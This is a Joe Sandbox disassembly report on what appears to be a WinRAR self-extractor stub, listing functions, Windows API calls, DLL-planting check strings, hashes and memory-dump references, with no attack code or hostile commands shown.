aclui.dll, xrefs: 00007FF75FBA26DD
lpk.dll, xrefs: 00007FF75FBA2472
mpr.dll, xrefs: 00007FF75FBA25FA
cscapi.dll, xrefs: 00007FF75FBA259B
usp10.dll, xrefs: 00007FF75FBA247D
devrtl.dll, xrefs: 00007FF75FBA2608
wintrust.dll, xrefs: 00007FF75FBA2538
shdocvw.dll, xrefs: 00007FF75FBA250C
dhcpcsvc6.dll, xrefs: 00007FF75FBA2689
cryptsp.dll, xrefs: 00007FF75FBA26C1
srvcli.dll, xrefs: 00007FF75FBA2590
msasn1.dll, xrefs: 00007FF75FBA2522
rsaenh.dll, xrefs: 00007FF75FBA2442
SetDllDirectoryW, xrefs: 00007FF75FBA23BD
apphelp.dll, xrefs: 00007FF75FBA24EB
SetDefaultDllDirectories, xrefs: 00007FF75FBA23EA
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00007FF75FBA29A0
SSPICLI.DLL, xrefs: 00007FF75FBA2436
cryptui.dll, xrefs: 00007FF75FBA252D
crypt32.dll, xrefs: 00007FF75FBA2517
UXTheme.dll, xrefs: 00007FF75FBA244E
iphlpapi.DLL, xrefs: 00007FF75FBA25C7
kernel32, xrefs: 00007FF75FBA23A5
uxtheme.dll, xrefs: 00007FF75FBA2926
dfscli.dll, xrefs: 00007FF75FBA265F
comres.dll, xrefs: 00007FF75FBA2493
dnsapi.DLL, xrefs: 00007FF75FBA25BC
ntshrui.dll, xrefs: 00007FF75FBA24CA
setupapi.dll, xrefs: 00007FF75FBA24E0
peerdist.dll, xrefs: 00007FF75FBA26F9
dsrole.dll, xrefs: 00007FF75FBA26EB
cryptbase.dll, xrefs: 00007FF75FBA2466
RpcRtRemote.dll, xrefs: 00007FF75FBA26CF
clbcatq.dll, xrefs: 00007FF75FBA2488
ws2help.dll, xrefs: 00007FF75FBA24A9
rasadhlp.dll, xrefs: 00007FF75FBA267B
secur32.dll, xrefs: 00007FF75FBA254E
samcli.dll, xrefs: 00007FF75FBA2635
netutils.dll, xrefs: 00007FF75FBA25EC
psapi.dll, xrefs: 00007FF75FBA24B4
oleaccrc.dll, xrefs: 00007FF75FBA2564
mlang.dll, xrefs: 00007FF75FBA2627
profapi.dll, xrefs: 00007FF75FBA257A
WindowsCodecs.dll, xrefs: 00007FF75FBA2585
version.dll, xrefs: 00007FF75FBA2412
userenv.dll, xrefs: 00007FF75FBA24F6
browcli.dll, xrefs: 00007FF75FBA266D
netapi32.dll, xrefs: 00007FF75FBA2501
imageres.dll, xrefs: 00007FF75FBA25B1
XmlLite.dll, xrefs: 00007FF75FBA26A5
samlib.dll, xrefs: 00007FF75FBA2643
dhcpcsvc.dll, xrefs: 00007FF75FBA2697
WINNSI.DLL, xrefs: 00007FF75FBA25D2
atl.dll, xrefs: 00007FF75FBA24D5
linkinfo.dll, xrefs: 00007FF75FBA26B3
cabinet.dll, xrefs: 00007FF75FBA2559
dwmapi.dll, xrefs: 00007FF75FBA245A, 00007FF75FBA291A
propsys.dll, xrefs: 00007FF75FBA2619
slc.dll, xrefs: 00007FF75FBA25A6
ntmarta.dll, xrefs: 00007FF75FBA256F
DXGIDebug.dll, xrefs: 00007FF75FBA241E, 00007FF75FBA27E8, 00007FF75FBA289C

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcessswprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreePointerReadSleepStringSystemVersionWrite
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$RpcRtRemote.dll$SSPICLI.DLL$SetDefaultDllDirectories$SetDllDirectoryW$UXTheme.dll$WINNSI.DLL$WindowsCodecs.dll$XmlLite.dll$aclui.dll$apphelp.dll$atl.dll$browcli.dll$cabinet.dll$clbcatq.dll$comres.dll$crypt32.dll$cryptbase.dll$cryptsp.dll$cryptui.dll$cscapi.dll$devrtl.dll$dfscli.dll$dhcpcsvc.dll$dhcpcsvc6.dll$dnsapi.DLL$dsrole.dll$dwmapi.dll$ieframe.dll$imageres.dll$iphlpapi.DLL$kernel32$linkinfo.dll$lpk.dll$mlang.dll$mpr.dll$msasn1.dll$netapi32.dll$netutils.dll$ntmarta.dll$ntshrui.dll$oleaccrc.dll$peerdist.dll$profapi.dll$propsys.dll$psapi.dll$rasadhlp.dll$rsaenh.dll$samcli.dll$samlib.dll$secur32.dll$setupapi.dll$sfc_os.dll$shdocvw.dll$shell32.dll$slc.dll$srvcli.dll$userenv.dll$usp10.dll$uxtheme.dll$version.dll$wintrust.dll$wkscli.dll$ws2_32.dll$ws2help.dll
API String ID: 1134909389-2013832382
Opcode ID: 9ec152225e947b8a38975a7bd9ef8128333a6983848ce7b3085898e50c8c5309
Instruction ID: 6f594a326766341ee2181dc696a9e702a8f0531546ec559730f85409c1b02593
Opcode Fuzzy Hash: 9ec152225e947b8a38975a7bd9ef8128333a6983848ce7b3085898e50c8c5309
Instruction Fuzzy Hash: D112BB35A09B82D9EB21AF30E8401EAB7A5FF44754F980236DA9D46764EF3CD658C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB2614 Relevance: 40.5, APIs: 17, Strings: 6, Instructions: 204
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF75FBA2378: GetModuleHandleW.KERNEL32 ref: 00007FF75FBA23AF
Part of subcall function 00007FF75FBA2378: GetProcAddress.KERNEL32 ref: 00007FF75FBA23C7
Part of subcall function 00007FF75FBA2378: GetProcAddress.KERNEL32 ref: 00007FF75FBA23F4

Part of subcall function 00007FF75FBAE27C: GetCurrentDirectoryW.KERNEL32 ref: 00007FF75FBAE288

Part of subcall function 00007FF75FBAE930: OleInitialize.OLE32 ref: 00007FF75FBAE94A
Part of subcall function 00007FF75FBAE930: SHGetMalloc.SHELL32 ref: 00007FF75FBAE998

GetCommandLineW.KERNEL32 ref: 00007FF75FBB2669
OpenFileMappingW.KERNEL32 ref: 00007FF75FBB26A0
MapViewOfFile.KERNEL32 ref: 00007FF75FBB26C2
UnmapViewOfFile.KERNEL32 ref: 00007FF75FBB275F

Part of subcall function 00007FF75FBB2124: SetEnvironmentVariableW.KERNEL32 ref: 00007FF75FBB2140
Part of subcall function 00007FF75FBB2124: SetEnvironmentVariableW.KERNEL32 ref: 00007FF75FBB2180

CloseHandle.KERNEL32 ref: 00007FF75FBB2768
GetModuleFileNameW.KERNEL32 ref: 00007FF75FBB278A
SetEnvironmentVariableW.KERNELBASE ref: 00007FF75FBB279A
GetLocalTime.KERNEL32 ref: 00007FF75FBB27A5
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF75FBB27FD
SetEnvironmentVariableW.KERNEL32 ref: 00007FF75FBB280D
GetModuleHandleW.KERNEL32 ref: 00007FF75FBB2815
LoadIconW.USER32 ref: 00007FF75FBB2834
DialogBoxParamW.USER32 ref: 00007FF75FBB28A0
Sleep.KERNEL32 ref: 00007FF75FBB28D3
DeleteObject.GDI32 ref: 00007FF75FBB2910
DeleteObject.GDI32 ref: 00007FF75FBB2922
CloseHandle.KERNEL32 ref: 00007FF75FBB296A

Strings

STARTDLG, xrefs: 00007FF75FBB288F
sfxstime, xrefs: 00007FF75FBB2806
C:\Users\user\AppData\Local\Temp\7zS49DD90FA, xrefs: 00007FF75FBB263C
winrarsfxmappingfile.tmp, xrefs: 00007FF75FBB2695
sfxname, xrefs: 00007FF75FBB2793
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00007FF75FBB27EC

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepTimeUnmapswprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\AppData\Local\Temp\7zS49DD90FA$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 980719444-1218550165
Opcode ID: 86c0ab46702b9a12567087e493dbcf982fea956f4ace4e4dc3b9ffd70d57bc5f
Instruction ID: d87ab621afaa9799bbbf133838a35ee8fee34cc7337f1ee731345da4726e3084
Opcode Fuzzy Hash: 86c0ab46702b9a12567087e493dbcf982fea956f4ace4e4dc3b9ffd70d57bc5f
Instruction Fuzzy Hash: 6EB14861E18A82C2FB05FB35E8553F9A3A0FF55744F884135DA8D426A6EF3CE985C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB3490 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 195
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF75FBB30E4: DloadProtectSection.DELAYIMP ref: 00007FF75FBB3155

RaiseException.KERNEL32 ref: 00007FF75FBB3537
DloadReleaseSectionWriteAccess.DELAYIMP ref: 00007FF75FBB3523

Part of subcall function 00007FF75FBB33F4: DloadProtectSection.DELAYIMP ref: 00007FF75FBB3453

LoadLibraryExA.KERNELBASE ref: 00007FF75FBB35D6
GetLastError.KERNEL32 ref: 00007FF75FBB35E4
DloadReleaseSectionWriteAccess.DELAYIMP ref: 00007FF75FBB3616
RaiseException.KERNEL32 ref: 00007FF75FBB362A

Strings

H, xrefs: 00007FF75FBB3504

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: DloadSection$AccessExceptionProtectRaiseReleaseWrite$ErrorLastLibraryLoad
String ID: H
API String ID: 3432403771-2852464175
Opcode ID: 313ed93d5b8346046f408b1bb648d52bc3030ab332f201d74a517b1610a9a249
Instruction ID: 8a4679ed10dd555304ae74acb7b8a46bb9298c3e765bee89a71e2e9df55fb7b2
Opcode Fuzzy Hash: 313ed93d5b8346046f408b1bb648d52bc3030ab332f201d74a517b1610a9a249
Instruction Fuzzy Hash: 01913926E19B92CAEB40EF75D8446E9B3A5FB08B88B8C4535DE0D07754EF38E845C324

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9EFF8 Relevance: 21.6, APIs: 2, Strings: 10, Instructions: 551
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,?,?,?,?,?,?,00007FF75FB9EFD6), ref: 00007FF75FB9F046

Part of subcall function 00007FF75FBA3910: MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF75FB91DE7), ref: 00007FF75FBA393D

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF75FB9F53D

Strings

RTL, xrefs: 00007FF75FB9F4F7
$%s:, xrefs: 00007FF75FB9F51B
DIALOG, xrefs: 00007FF75FB9F3B1
DIRECTION, xrefs: 00007FF75FB9F3C9
MENU, xrefs: 00007FF75FB9F3BD
@%s:, xrefs: 00007FF75FB9F522
*messages***, xrefs: 00007FF75FB9F191
STRINGS, xrefs: 00007FF75FB9F3A5
,, xrefs: 00007FF75FB9F572
*messages***, xrefs: 00007FF75FB9F1CF

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: ByteCharFileModuleMultiNameWide_snwprintf
String ID: ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS
API String ID: 2679931996-2291855099
Opcode ID: 332788c91174e1ade9f6ad45af05d96810b3adf978199a3f29036aa6f4d6963b
Instruction ID: 7c6fb55d23ca3c080c2ad5574d5ab5352e170533050cddc7ed4cbaeb65d0e586
Opcode Fuzzy Hash: 332788c91174e1ade9f6ad45af05d96810b3adf978199a3f29036aa6f4d6963b
Instruction Fuzzy Hash: 5D42BE22A196D2D5EB21BF30C5442FAA365FF04798FC84132DA4D47AA5EF3CEA45C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB1890 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF75FBAF3C8: PeekMessageW.USER32 ref: 00007FF75FBAF3DE
Part of subcall function 00007FF75FBAF3C8: GetMessageW.USER32 ref: 00007FF75FBAF3F5
Part of subcall function 00007FF75FBAF3C8: IsDialogMessageW.USER32 ref: 00007FF75FBAF40C
Part of subcall function 00007FF75FBAF3C8: TranslateMessage.USER32 ref: 00007FF75FBAF41B
Part of subcall function 00007FF75FBAF3C8: DispatchMessageW.USER32 ref: 00007FF75FBAF426

GetDlgItem.USER32 ref: 00007FF75FBB18C5
ShowWindow.USER32 ref: 00007FF75FBB18EB
IsDlgButtonChecked.USER32 ref: 00007FF75FBB1900
IsDlgButtonChecked.USER32 ref: 00007FF75FBB1918
IsDlgButtonChecked.USER32 ref: 00007FF75FBB1939
IsDlgButtonChecked.USER32 ref: 00007FF75FBB1955
IsDlgButtonChecked.USER32 ref: 00007FF75FBB1998
IsDlgButtonChecked.USER32 ref: 00007FF75FBB19AC
IsDlgButtonChecked.USER32 ref: 00007FF75FBB19C0
IsDlgButtonChecked.USER32 ref: 00007FF75FBB19EA
IsDlgButtonChecked.USER32 ref: 00007FF75FBB1A02

Strings

\, xrefs: 00007FF75FBB1943

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: ButtonChecked$Message$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 4119318379-2967466578
Opcode ID: b3c8d4a133128beca4afda0f7bbe26717fcf8b3fc56fb3d663ebdf430be721a6
Instruction ID: c526bac571c6a907780a1ee60d0aba1aa0fa452d443177f3761b67d531a65133
Opcode Fuzzy Hash: b3c8d4a133128beca4afda0f7bbe26717fcf8b3fc56fb3d663ebdf430be721a6
Instruction Fuzzy Hash: 4F41DD71B0079286F710AF62E814BEDA761EB41B98F890138DD690BB98CF3DE446CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB7EDC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(?,?,?,00007FF75FBB818E,?,?,?,00007FF75FBB7E80,?,?,00000001,00007FF75FBB5D59), ref: 00007FF75FBB7F61
GetLastError.KERNEL32(?,?,?,00007FF75FBB818E,?,?,?,00007FF75FBB7E80,?,?,00000001,00007FF75FBB5D59), ref: 00007FF75FBB7F6F
LoadLibraryExW.KERNEL32(?,?,?,00007FF75FBB818E,?,?,?,00007FF75FBB7E80,?,?,00000001,00007FF75FBB5D59), ref: 00007FF75FBB7F99
FreeLibrary.KERNEL32(?,?,?,00007FF75FBB818E,?,?,?,00007FF75FBB7E80,?,?,00000001,00007FF75FBB5D59), ref: 00007FF75FBB7FDF
GetProcAddress.KERNEL32(?,?,?,00007FF75FBB818E,?,?,?,00007FF75FBB7E80,?,?,00000001,00007FF75FBB5D59), ref: 00007FF75FBB7FEB

Strings

api-ms-, xrefs: 00007FF75FBB7F81

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 70b29b737c0f87020b2ba131dab067a72e458dfbcb83f2a1695337ea3341b381
Instruction ID: e0047824b92d0287c396d615bfb15a7c837cc60738b9c9ea2120f8aa1bea5496
Opcode Fuzzy Hash: 70b29b737c0f87020b2ba131dab067a72e458dfbcb83f2a1695337ea3341b381
Instruction Fuzzy Hash: 57319421A1AAC2D6FE15AB3698105F6A294BF44BA0FED0535ED1D47394DF3CE841C328

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBAF5C8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadBitmapW.USER32 ref: 00007FF75FBAF5DE
GetObjectW.GDI32 ref: 00007FF75FBAF60F
DeleteObject.GDI32 ref: 00007FF75FBAF649
DeleteObject.GDI32 ref: 00007FF75FBAF679

Part of subcall function 00007FF75FBAE32C: FindResourceW.KERNEL32 ref: 00007FF75FBAE345
Part of subcall function 00007FF75FBAE32C: SizeofResource.KERNEL32 ref: 00007FF75FBAE361
Part of subcall function 00007FF75FBAE32C: LoadResource.KERNEL32 ref: 00007FF75FBAE37B
Part of subcall function 00007FF75FBAE32C: LockResource.KERNEL32 ref: 00007FF75FBAE38D
Part of subcall function 00007FF75FBAE32C: GlobalAlloc.KERNEL32 ref: 00007FF75FBAE3AE
Part of subcall function 00007FF75FBAE32C: GlobalLock.KERNEL32 ref: 00007FF75FBAE3C3
Part of subcall function 00007FF75FBAE32C: GdipAlloc.GDIPLUS ref: 00007FF75FBAE406
Part of subcall function 00007FF75FBAE32C: GdipCreateHBITMAPFromBitmap.GDIPLUS ref: 00007FF75FBAE471
Part of subcall function 00007FF75FBAE32C: GlobalUnlock.KERNEL32 ref: 00007FF75FBAE494
Part of subcall function 00007FF75FBAE32C: GlobalFree.KERNEL32 ref: 00007FF75FBAE49D

Strings

], xrefs: 00007FF75FBAF617

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: GlobalResource$Object$AllocBitmapDeleteGdipLoadLock$CreateFindFreeFromSizeofUnlock
String ID: ]
API String ID: 2347093688-3352871620
Opcode ID: 094e488627bc6b151760ef32a4c3d57f862b752fba93407238466997c475bf4c
Instruction ID: 2e4810577bbb68d48035ce02dd896591e33c5fba1591ef547359e245adf99131
Opcode Fuzzy Hash: 094e488627bc6b151760ef32a4c3d57f862b752fba93407238466997c475bf4c
Instruction Fuzzy Hash: B1116621B0A7C285EA16BB36A6542F9E295AF88BD4FCC4035DDCD07B95DF3DE805C610

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9A990 Relevance: 7.6, APIs: 5, Instructions: 115
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF75FB9AA31
GetLastError.KERNEL32 ref: 00007FF75FB9AA40
CreateFileW.KERNEL32 ref: 00007FF75FB9AA83
GetLastError.KERNEL32 ref: 00007FF75FB9AA8C
SetFileTime.KERNEL32 ref: 00007FF75FB9AAF2

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 8e44814639e3e251a22fbd15649f7df57f929efc56a54d2be460b97871a821c6
Instruction ID: 0ef1133e77e2220288acda7af431070e97be487f0f761b8013ad930e43a38816
Opcode Fuzzy Hash: 8e44814639e3e251a22fbd15649f7df57f929efc56a54d2be460b97871a821c6
Instruction Fuzzy Hash: 5B4127B2A082D286F7349F35E6147EAA691E7807B8F580334DE6D07AC8CF7DC4858B50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBBFFE4 Relevance: 7.6, APIs: 5, Instructions: 114
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00007FF75FBC0106

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 20ec00b8bbb8ad7cdc366cc985b22ae458df1abdd5de5647c756874638a7f503
Instruction ID: 88f579b910504491bd82b1e47b5ffcdff4b0e44562a7517db3651f5be55e1057
Opcode Fuzzy Hash: 20ec00b8bbb8ad7cdc366cc985b22ae458df1abdd5de5647c756874638a7f503
Instruction Fuzzy Hash: 6C41AF61B0A6C7C1FA15AF2298006F7F292BB54BD4F8F4536ED5D8B688DE3DE4408760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBAF3C8 Relevance: 7.5, APIs: 5, Instructions: 27
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32 ref: 00007FF75FBAF3DE
GetMessageW.USER32 ref: 00007FF75FBAF3F5
IsDialogMessageW.USER32 ref: 00007FF75FBAF40C
TranslateMessage.USER32 ref: 00007FF75FBAF41B
DispatchMessageW.USER32 ref: 00007FF75FBAF426

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 3d3cf82f3f77b6a3577993f4a942783953a1b1d866ceaa594716f13b79c5b63a
